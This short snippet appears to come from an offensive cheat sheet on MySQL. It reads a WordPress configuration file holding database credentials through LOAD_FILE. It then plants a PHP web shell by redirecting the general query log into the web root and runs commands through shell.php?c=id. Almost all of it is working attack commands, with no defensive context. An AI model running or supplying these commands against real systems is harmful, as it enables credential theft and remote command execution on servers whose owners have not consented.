If secure_file_priv restricts you:

-- Read config files SELECT LOAD_FILE('/var/www/html/wp-config.php');

SET GLOBAL general_log = 'ON'; SET GLOBAL general_log_file = '/var/www/html/shell.php'; SELECT "<?php system($_GET['c']); ?>"; -- Then access shell.php?c=id